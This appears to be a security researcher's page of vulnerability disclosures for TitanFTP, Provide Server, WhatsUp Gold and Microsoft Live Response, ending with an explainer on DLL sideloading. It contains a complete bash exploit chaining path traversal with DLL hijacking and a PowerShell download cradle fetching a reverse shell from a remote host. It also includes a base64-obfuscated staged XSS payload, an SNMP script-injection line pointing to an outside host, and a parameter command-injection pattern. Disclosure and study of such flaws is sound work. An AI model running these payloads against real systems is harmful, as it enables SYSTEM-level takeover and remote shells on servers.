Titan FTP Server Path Traversal Vulnerability in move-file Function

Version: < 2.0.1.2102

CVE-2023-22629

CWE-24: Path Traversal

TitanFTP Server is vulnerable to a path traversal attack in the move-file function. An attacker can exploit this vulnerability by providing a specially crafted newPath parameter that contains directory traversal sequences (e.g., '../') to move a file to a directory outside the intended directory. This can allow an attacker to access sensitive files and execute arbitrary code. The vulnerability exists because the server does not properly validate the user-supplied newPath parameter. As a result, an attacker can send a request with the malicious parameter to bypass the intended directory and access unauthorized files.

This is an authenticated exploit. An attacker would need a user account on the TitanFTP server, to upload the files.

CWE-427: Uncontrolled Search Path Element

The service-application is vulnerable to a DLL search order hijack. It is importing several Windows DLL-files, like version.dll. By placing a proxy-DLL named version.dll exploiting the path traversal vulnerability, this DLL will proxy imports to the original version.dll also uploaded in the application directory, with the name version32.dll, one will gain Remote Code Execution on the server as NT System.

Exploit code

Using this batchfile, an authenticated attacker can upload 2 dll-files, doing DLL-Hijack by proxy. In this poc, I am uploading a reverse-shell DLL-File, named version.dll, that proxies exports to the original version.dll, here named version32.dll.

#!/bin/bash

url="http://192.168.16.226"
user="me"
pass="me"
proxydll="version.dll"
orig_dll="version32.dll"

host=$(echo -n $url|cut -d/ -f 3)
auth=$(curl -s -k -X POST -H "Host: $host" -H "No-Auth-Challenge: true" -H "User-Agent: Nah" -H "content-type: application/json" -H "Accept: */*" -H "Origin:$url" -H "Referer: $url" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,nb;q=0.8,no;q=0.7,en-GB;q=0.6" -H "Connection: close" -d "{\"user\":\"$user\",\"pass\":\"$pass\",\"ticket\":null,\"showEULA\":false}" "$url/WebApi/Login") 
SessionId=$(echo -n $auth |jq .auth.SessionId)
SessionId=$(echo -n "${SessionId//\"}")
ServerGUID=$(echo -n $auth |jq .auth.ServerGUID)
ServerGUID=$(echo -n "${ServerGUID//\"}")

#Uploading files
curl -i -s -k -v -X POST -H "User-Agent: Nah" -H 'No-Auth-Challenge: true' -H 'enctype: multipart/form-data' -H "SRTSessionId: $SessionId" -F "request={\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"SRTSessionId\":\"$SessionId\",\"Ticket\":null,\"Data\":{\"action\":\"uc\",\"chunkData\":{\"UploadUid\":\"935ee903-2f65-442a-8a0b-1b23d12537c5\",\"FileName\":\"$proxydll\",\"RelativeFullPath\":\"/$proxydll\",\"ContentType\":\"contenttype\",\"ChunkIndex\":0,\"ChunkSize\":2,\"TotalChunks\":1,\"TotalFileSize\":19456,\"Overwrite\":true},\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"}}" -F "chunk=@$proxydll;filename=blob;type=application/octet-stream" $url/WebApi/ProcessWithChunk
curl -i -s -k -v -X POST -H "User-Agent: Nah" -H 'No-Auth-Challenge: true' -H 'enctype: multipart/form-data' -H "SRTSessionId: $SessionId" -F "request={\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"SRTSessionId\":\"$SessionId\",\"Ticket\":null,\"Data\":{\"action\":\"uc\",\"chunkData\":{\"UploadUid\":\"935ee903-2f65-442a-8a0b-1b23d12537c5\",\"FileName\":\"$orig_dll\",\"RelativeFullPath\":\"/$orig_dll\",\"ContentType\":\"contenttype\",\"ChunkIndex\":0,\"ChunkSize\":2,\"TotalChunks\":1,\"TotalFileSize\":19456,\"Overwrite\":true},\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"}}" -F "chunk=@$orig_dll;filename=blob;type=application/octet-stream" $url/WebApi/ProcessWithChunk

#Moving them into c:\Program Files\South River Technologies\srxserver\"
curl -i -s -k -X POST -H "No-Auth-Challenge: true" -H "SRTSessionId: $SessionId" -H "User-Agent: Nah" -H "content-type: application/json" -H "Accept: */*" -H "Origin: $url" -H "Referer: $url/" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,nb;q=0.8,no;q=0.7,en-GB;q=0.6" -H "Connection: close" -d "[{\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"disableErrorSnackBar\":true,\"Data\":{\"action\":\"mv\",\"path\":\"/$proxydll\",\"newPath\":\"/../../../../../../../Program Files/South River Technologies/srxserver/$proxydll\",\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"},\"SRTSessionId\":\"$SessionId\"}]" "$url/WebApi/Process"
curl -i -s -k -X POST -H "No-Auth-Challenge: true" -H "SRTSessionId: $SessionId" -H "User-Agent: Nah" -H "content-type: application/json" -H "Accept: */*" -H "Origin: $url" -H "Referer: $url/" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,nb;q=0.8,no;q=0.7,en-GB;q=0.6" -H "Connection: close" -d "[{\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"disableErrorSnackBar\":true,\"Data\":{\"action\":\"mv\",\"path\":\"/$orig_dll\",\"newPath\":\"/../../../../../../../Program Files/South River Technologies/srxserver/$orig_dll\",\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"},\"SRTSessionId\":\"$SessionId\"}]" "$url/WebApi/Process"

POC Video

Provide Server v. 14.4

CVE-2023-23286

Vulnerabilities:

CWE-79: Improper Neutralization of Input During Web Page Generation

Unauthenticated stored XSS in server-log delivered via username field from login-form

CWE-352: Cross-Site Request Forgery

CSRF-token exposed in javascript, making it possible to obtain a valid CSRF-Token and use it in XMLHTTPRequests. This vulnerability allows an attacker to add a task that runs commands on the server as "NT-System" Impact:

1. An attacker could exploit the unauthenticated stored XSS vulnerability by injecting malicious code into the login form's username field. When the server-log is viewed, the malicious code will be executed, potentially allowing the attacker to steal user data or execute further attacks.
2. By exploiting the CSRF vulnerability, an attacker could add a task to the server that runs commands with NT-System privileges. This could potentially allow the attacker to take complete control of the server, access sensitive data, or disrupt service.

Proof Of Consept

RCE via XSS and CSRF

• The attacker places the staged XSS into the username field and sends the login request. This will place the XSS stager in the server log and trigger when a administrator opens the log.
• The XSS stager downloads and runs the XSS payload. The payload will add a task that runs the powershell downloadcradle every time someone connects to the server. Even unauthenticated connections.
• The powershell-script downloaded in this example is a reverse shell, connecting back to the attacker. As the task runs as NT System on the server, the attacker will have full controll on the server.

Powershell Downloadcradle

PowerShell -noprofile -executionpolicy bypass "Start-process powershell.exe -argumentlist '-window hidden -noexit Start-Job { IEX(IWR https://example.com/rev.ps1 -UseBasicParsing) }'";exit

Staged XSS

<img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZXhhbXBsZS5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw src=https://example.com/1 onload=eval(atob(this.id))>

XSS payload

Bash script for running exploit

POC video

Whats Up Gold 2022

< v. 22.1.0

https://nvd.nist.gov/vuln/detail/CVE-2022-42711
https://community.progress.com/s/article/Product-Alert-Bulletin-October-2022

Improper validation of strings from SNMP devices when using the SNMP MIB Walker, makes the application prone to a reflected XXS attack.

Steps To Reproduce:

1. Place a XSS payload in the SNMPD.conf on a Linux computer. Have the payload open a javascript file hosted on a HTTPS webserver (Because WhatsUpGold uses HTTPS, you cannot link to a HTTP webserver). SNMP walk the Linux computers IP.
2. Modify script below to run revshell. You can de-base my payload and change IP and port, then base64 encode again and put it in script. Or run another payload of course.
3. Save the script on a webserver
4. Add XSS pointing at url of script in SNMPD config, I placed it in sysName:

   sysContact Me <[email protected]>
   sysLocation Home
   sysName LinuxPC<script src='https://f20.be/t.js'/>

5. Open the SNMP MIB Walker tool and "walk" the IP address of the Linux computer

Script

Function of script

• It will make an powershell-task, containing reverse shell in this example
• Trigger the task to run every five minutes

Impact

The attacker will have Remote Code Execution as the "NT System" account. Full control of the server.

POC Video

Microsoft Live Response - command injection/RCE

What is "Live response"

From Microsoft Docs

Live response gives security operations teams instantaneous access to a device (also referred to as a machine) using a remote shell connection. This gives you the power to do in-depth investigative work and take immediate response actions to promptly contain identified threats in real time.

Live response is designed to enhance investigations by enabling your security operations team to collect forensic data, run scripts, send suspicious entities for analysis, remediate threats, and proactively hunt for emerging threats.

The Live Response console, is basically a restricted Powershell shell with its own commands. Depending on the role that's been granted to you, you can run basic or advanced live response commands. The "basic commands" are very restricted, but the "advanced commands", give you ability to upload Powershell-scripts to a repository and run them on any computer you connect to. The console runs in the context of "NT System", so you can imagine the impact if an account with Advanced commands rights got compromised.

The problem here, is that you probably want members of your security operations team to have the ability to run scripts, like if you have uploaded a script-toolkit to your repository. But one should also keep the number of users that can upload new scripts to a minimum.

To further secure the environment and accomplish this, one should only allow digitally signed scripts. (this is the default setting and should not be disabled). This way you can upload a script-toolkit to the repository and allow every member of your team run them, but only scripts signed with a trusted signing certificate (limit access to those certificates of course) may upload a executable script.

Sometimes you need to be able to pass parameters to script too. Microsoft Live Response allows this, by letting you tick "Script parameters" when uploading. This marks the script as a parameter-script and you can pass parameters to it when running it.

What I found was that you could inject commands into the parameter. Like so:

"'parameter';Command"

This would then execute any command added. In the example below, executing

whoami

I even managed getting a Powershell Reverseshell from one of our servers.

This meant that if an account with rights to run scripts would be compromised, the attacker could run any command on any computer/server as the nt-Authority\System account.

Complete local domain pwnage from the cloud!

I reported this to Microsoft Security Response Center. I responsibly waited for them to address this before disclosing and they now reported back that the issue has been fixed. Earning me an acknowledgement.

DLL-Sideloading

What is it?

It is a form of DLL-Hijacking by-proxy.

What is DLL-Hijacking

DLL-Hijacking is when a application loads a dll-file from a location where an attacker can write. Replacing that DLL with a DLL containing a payload of their choice, will compromise the account running the application. This could be a ordinary user, a administrator or even "NT System", if the application is a service. You cannot replace just any DLL-file. It has to be a file not really needed for the application to function properly. That means it isn't possible in just any application either.

An example:

Autodesk AutoCAD 2007 - 'color.dll' DLL Hijacking

DLL-Sideloading

In DLL-sideloading, we also look for dll-files located in locations where we could write. But here, we use a dll-proxy file containing our payload and proxying the applications requests to the original file or a local copy of the original file. This way, we don't break the application and it will continue to work normally.

Even if the application doesn't have DLL-files in its application directory, it could be vulnerable for this kind of attack if it doesn't call the DLL-file(s) using absolute path. What happens then, is that it will look in its current location first and then look in %PATH% to find it.

Like in the screenshot below: Microsoft Teams, trying to load dbghelp.dll from current folder first, fails and continues looking for it in PATH, finding the requested file in c:\windows\system32

A lot of the modern applications, installed in the users %appdata% appears to be vulnerable to DLL-Sideloading. As the user have full control over that folder an attacker could use this to gain access and persistance through e.g. a phishing attack.

In this video, I have shown how a DLL-Sideloading attack works and also that enabling AppLocker without enforcing DLL-rules, is of no use at all.